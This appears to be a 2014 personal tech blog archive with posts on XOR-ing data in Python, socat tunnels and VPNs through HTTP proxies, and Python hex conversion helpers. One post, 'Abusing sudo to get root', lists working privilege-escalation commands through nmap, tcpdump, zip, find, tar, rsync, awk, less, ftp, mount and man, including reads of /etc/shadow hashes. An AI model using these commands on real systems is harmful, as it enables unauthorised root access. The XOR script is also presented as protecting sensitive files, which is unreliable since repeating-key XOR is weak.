Friday, August 1, 2014

XOR a string or file with a key in Python

Here is an elegant example about how to XOR a string using a key with Python's itertools cycle:

>>> from itertools import cycle
>>> 
>>> def do_xor(key, str):
...     str = str.replace(' ', '').decode('hex')
...     key = ''.join(key.split()[::-1]).decode('hex')
...     
...     return ''.join([chr(ord(a) ^ ord(b)) for a,b in zip(str, cycle(key))])
... 
>>> message = "8E D8 51 66 8B D9 03 67 8D FE 0A 3E E1 97 15 13"
>>> key = "13 37 ba be"
>>> 
>>> print do_xor(key, message)
0bfu5c4t3D=-_-"
>>>

If your string isn't in a hexadecimal representation, just remove the "decode('hex')" bits.

Following up on the example above, here is a script that allows quick and easy file encryption. Just chose a key that you will remember and this script will help easily protecting sensitive information on disk:

import os, sys
from itertools import cycle

if len(sys.argv) != 3:
 print "usage: %s <filename> <key>" % sys.argv[0]
 sys.exit()

if os.path.exists(sys.argv[1]):
 data = open(sys.argv[1]).read()
 xored = [chr(ord(a) ^ ord(b)) for a,b in zip(data, cycle(sys.argv[2]))]
 
 open(sys.argv[1], 'w').write(''.join(xored))

 print "file xored"
 
else:
 print "%s: file not found" % sys.argv[1]

Example usage:

user@host:~$ cat /tmp/a
this is a simple text file.
user@host:~$ python xorfile.py /tmp/a Sup3rS3cr3t
file xored
user@host:~$ cat /tmp/a
<... some unprintable characters ...>
user@host:~$ python xorfile.py /tmp/a Sup3rS3cr3t
file xored
user@host:~$ cat /tmp/a
this is a simple text file.
user@host:~$ 

Monday, July 21, 2014

NTP behind a HTTP proxy?

As NTP uses UDP port 123, of course setting the date via NTP (ntpdate) behind a proxy isn't possible without doing some tunneling/encapsulation wizardry. There is, however, a very nice solution using the time api. As it works over a Web server, the proxy problem is immediately resolved.

For example, to set your date/time according to your timezone:

# export http_proxy=http://proxy.mycompany.com:8080/
# date -s "$(wget -q -O - http://www.timeapi.org/gmt)"

Easy, right!

Tuesday, July 8, 2014

Poor man's SSL-VPN with socat

Another cool feature of socat is the ability to create TUN/TAP network interfaces. It can allow to quickly merge two remote networks. Of course, you can use any address type that socat supports, but here we're going to setup an OpenSSL mutually-trusted VPN.

Imagine the following setup: You want to make your home network remotely accessible from your work's computer, securely over a trusted [as long as you keep your private keys safe] SSL channel.

First we'll generate client and server private keys and certificates:

#!/bin/bash
function generate_cert()
{
 openssl genrsa -out $1.key 1024
 openssl req -new -key $1.key -x509 -days 365 -out $1.crt
 cat $1.key $1.crt > $1.pem
 chmod 600 $1.key $1.pem
}

# Generate server certificate
generate_cert socat_server

# Generate client certificate
generate_cert socat_client

  • Answer a few questions to create the certificates.
  • Copy the socat_server.pem and socat_client.crt files to the server-side machine at home.
  • Copy the socat_client.pem and socat_server.crt files to the client workstation.

1. Server-side configuration


On the server-side (home), run socat as an OpenSSL Server and make it create the TUN/TAP interface.

Note: If the TUN interface address that you choose to isn't part of your home network's subnet, you may want to enable IP forwarding on the server machine to be able to access other resources on your home network. For quick and dirty VPN, you can just choose to use an arbitrary IP address within your home subnet and you will be able to access resources on that subnet.

socat -d -d OPENSSL-LISTEN:9111,bind=192.168.0.254,cert=socat_server.pem,cafile=socat_client.crt,reuseaddr,fork TUN:10.1.1.1/24,up

You might want to create a port forwarding rule on your home router to map an external port to the socat server's listening port.

2. Client-side configuration


On the client-side (work) bring up the socat TUN interface by connecting to the server: (5.6.7.8 is the home ISP's public IP address).

If you can connect directly:
socat -d -d OPENSSL:5.6.7.8:9111,cert=socat_client.pem,cafile=socat_server.crt TUN:10.1.1.10/24,iff-up=1

if you need to go through a proxy, an additional socat will be required:

a. Create the TCP forwarder
socat TCP4-LISTEN:65432,bind=127.0.0.1,reuseaddr,fork PROXY:proxy.mycompany.com:5.6.7.8:9111,proxyport=3128 &

b. Create the OpenSSL tunnel over the proxy tunnel:
socat -d -d OPENSSL:127.0.0.1:65432,cert=socat_client.pem,cafile=socat_server.crt TUN:10.1.1.10/24,iff-up=1


You should now be able to access your home computers from your client workstation. If required, you can add routes on your workstation to access any remote network through the socat VPN gateway (10.1.1.1).


Wednesday, July 2, 2014

Using iptables + socat to tunnel outbound connections through proxy

EDIT: Here is the tool I wrote to facilitate creation of transparent tunnels over http proxies - on my GitHub account.

I've known about socat for a while, but never really got into using it until recently. Its possibilities are endless and it's always reliable. I'm thinking about writing a wrapper around it.

For now, imagine you've got the following setup: A thick/thin app, script, program, whatever with no native proxy support, connecting to an external host. You may want to tunnel the connections through your company's proxy, or maybe perform man-in-the-middle on the outbound streams. (side note: Contextis' CANAPE is excellent for that matter, but more complex to setup, and Windows only).

Obviously, you could edit your hosts file, or even possibly modify the source code to make it connect to wherever you want. But there are some situations where you can't / don't want / are too lazy to do that.

You can use an iptables rule to redirect the outbound connections to that host to your loopback interface, then have socat listening on a local port and tunnel sessions through the proxy. It can also be used to setup a local man-in-the-middle scenario, where you want to be able to put an intercepting proxy in the middle of the communication.

The network flow diagram is as follows:




You can add the "reuseaddr" command-line parameter to the socat listening local socket parameter to allow it to rebind to a previously open port. Also add the "fork" parameter if needed to prevent it from exiting after the first tunneled TCP session is finished. You don't need to enable IP Forwarding on your box.

For example, if I want to tunnel all direct connections made to google.com:443. First, you need to create the Iptables rule accordingly. As root:

iptables -t nat -A OUTPUT -p tcp -d google.com --dport 443 -j DNAT --to-destination 127.0.0.1:443

Then, you must create the socat tunnel (reuseaddr and fork are optional). As root:

socat TCP4-LISTEN:443,bind=127.0.0.1,reuseaddr,fork PROXY:proxy.mycompany.com:google.com:443,proxyport=3128

When your work is finished, kill the socat instance with CTRL+C and delete the now useless iptables rule (just use -D instead of -A):

iptables -t nat -D OUTPUT -p tcp -d google.com --dport 443 -j DNAT --to-destination 127.0.0.1:443

And because I like shell scripts, here goes:

#!/bin/bash
if [ -z $2 ]; then
 echo "usage: $0 <dest_host> <dest_port>"
 exit
fi

if [ $EUID -ne 0 ]; then
 echo "error: must be run as root"
 exit
fi


PROXYHOST=192.168.100.1
PROXYPORT=3128

# Forward all outgoing traffic directed to ext_host:ext_port to the loopback interface
echo Creating rule...
iptables -t nat -A OUTPUT -p tcp -d $1 --dport $2 -j DNAT --to-destination 127.0.0.1:$2

# use socat to tunnel connections to the local port through the proxy
echo "127.0.0.1:$2 <--> $PROXYHOST:$PROXYPORT <--> $1:$2 (stop with ctrl+c)"
socat TCP4-LISTEN:$2,bind=127.0.0.1,reuseaddr,fork PROXY:$PROXYHOST:$1:$2,proxyport=$PROXYPORT

# remove created iptables rule
echo Removing rule...
iptables -t nat -D OUTPUT -p tcp -d $1 --dport $2 -j DNAT --to-destination 127.0.0.1:$2

Enjoy ;)

Thursday, June 26, 2014

How to use Socat to connect to an SSL service over a HTTP proxy

SOCAT is in my opinion one of the best networking / relaying tools out there. Within my corporate network, I need to go through a HTTP proxy to reach the outside. Today I needed to connect to a Freenode IRC channel, using of course the IRC client of choice, IRSSI. Unfortunately, whilst IRSSI supports HTTP proxies, it fails at establishing an SSL connection when using one.

At this point, there are two possible solutions:

  • Connect using a clear-text IRC session over the proxy (which was out of consideration in my case)
  • Relay the server's SSL port to localhost over the proxy (yay)

Socat turned out to be the most easy to setup and worked flawlessly. Here is the setup for this particular example:


All connections to the local port 6666 would then be tunneled through the proxy, and forwarded to the destination server. So if the endpoint service is SSL-enabled, connect to your local port over SSL and the session gets encrypted end to end.

Here is a small Bash script for that purpose.
#!/bin/bash
if [ -z $3 ]; then
 echo "usage: $0 <listenport> <desthost> <destport>"
 exit
fi

LOCALPORT=$1
PROXYHOST=10.0.0.1
PROXYPORT=3128
DESTHOST=$2
DESTPORT=$3

socat TCP4-LISTEN:$LOCALPORT,bind=127.0.0.1 PROXY:$PROXYHOST:$DESTHOST:$DESTPORT,proxyport=$PROXYPORT &

echo SOCAT listening on 127.0.0.1:$LOCALPORT, forwarding to $DESTHOST:$DESTPORT

Note: Should your proxy require authentication, the socat command must be changed to:

socat TCP4-LISTEN:$LOCALPORT,bind=127.0.0.1 PROXY:$PROXYHOST:$DESTHOST:$DESTPORT,proxyport=$PROXYPORT,proxyauth=$PROXYUSER:$PROXYPASS

Monday, May 19, 2014

Abusing sudo to get root

In some insecure Linux configurations, it is more or less easy to abuse sudo to get a root shell.

You can find out which commands your user is allowed to run as root by calling "sudo -l".

Here are some examples:

1. SUDO NMAP

user@host:~$ sudo nmap -iL /etc/shadow 2>&1 | grep root
Failed to resolve "root:$6$tacLae7v$blr1A8KS2WwHTLgttagiFMgGa94JEkKXVNXAm8a5Lg5vJrdowQTiycwML9M2ibBF6Vu4KZAHcOgOLuqrc6kdn0:16135:0:99999:7:::".
(nmap < 5.35DC1 also has a “—interactive” switch which drops you to a shell where you can execute commands by using the “!cmd” syntax)

2. SUDO FILE

user@host:~$ sudo file -m /etc/shadow
/etc/shadow, 1: Warning: offset `root:$6$5EZeAFXG$V.b3POklvJLNMt0cIEIQecW2Co6cKFUXmDR5bHVjWdsgTJq8URt6m7zBfNFNxdMEZHD7F4esGON.OED88HBPn1:16491:0:99999:7:::' invalid
[... snip ...]

3. SUDO TCPDUMP

user@host:~$ echo -e "cp /bin/sh /tmp/sh_suid\nchmod 7555 /tmp/sh_suid" > tmpfile
user@host:~$ chmod +x tmpfile
user@host:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
user@host:~$ ls -l /tmp/sh_suid 
-r-sr-sr-t 1 root root 117176 May 19 10:14 /tmp/sh_suid
user@host:~$ /tmp/sh_suid
# whoami
root

4. SUDO ZIP

user@host:~$ touch somefile
user@host:~$ sudo zip -q /tmp/test.zip somefile -T -TT '/bin/sh #'
# id
uid=0(root) gid=0(root) groups=0(root)

5. SUDO FIND

user@host:~$ sudo find /dev/null -exec sh \;
# id
uid=0(root) gid=0(root) groups=0(root)

6. SUDO TAR

user@host:~$ touch somefile
user@host:~$ sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

7. SUDO RSYNC


user@host:/tmp$ cat > somefile << EOF
> cp /bin/sh /tmp/sh_root
> chmod a+sx /tmp/sh_root
> EOF
user@host:/tmp$ sudo rsync  -e 'sh /tmp/somefile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
user@host:/tmp$ /tmp/sh_root
# whoami
root

8. SUDO AWK

user@host:~$ sudo awk 'BEGIN {system("/usr/bin/id")}'
uid=0(root) gid=0(root) groups=0(root)
9. SUDO MORE/SUDO LESS
user@host:~$ sudo more /dev/zero 
[...]
!bash
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
10. SUDO (S)FTP
user@host:~$ sudo ftp
ftp> !id
uid=0(root) gid=0(root) groups=0(root)
ftp> 

11. SUDO MOUNT
user@host:~$ sudo mount -o bind /bin/bash /bin/mount
user@host:~$ sudo mount
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)

8. SUDO MAN
user@host:~$ sudo man -P id man
uid=0(root) gid=0(root) groups=0(root)

Thursday, April 10, 2014

Convert values to / from integer, hex string and raw data in Python 2.x / 3.x

I often use quick and dirty Python scripts to deal with binary protocols dissection, packet capture analysis, and to work with raw binary files.

If you are in the same situation, you may find this useful. Just keep the following library somewhere and use it whenever needed in your scripts.

No external libraries are required, and it works natively with Python 2 and 3.

Note however that it can be prone to unwanted behaviour. For example, if you call int2bytes() with an input integer between 2^16 and 2^24, it will return 3 bytes, while you probably want 4 (with a leading "\x00"). Just keep that in mind.

def bytes2int(str):
 return int(str.encode('hex'), 16)

def bytes2hex(str):
 return '0x'+str.encode('hex')

def int2bytes(i):
 h = int2hex(i)
 return hex2bytes(h)

def int2hex(i):
 return hex(i)

def hex2int(h):
 if len(h) > 1 and h[0:2] == '0x':
  h = h[2:]

 if len(h) % 2:
  h = "0" + h

 return int(h, 16)

def hex2bytes(h):
 if len(h) > 1 and h[0:2] == '0x':
  h = h[2:]

 if len(h) % 2:
  h = "0" + h

 return h.decode('hex')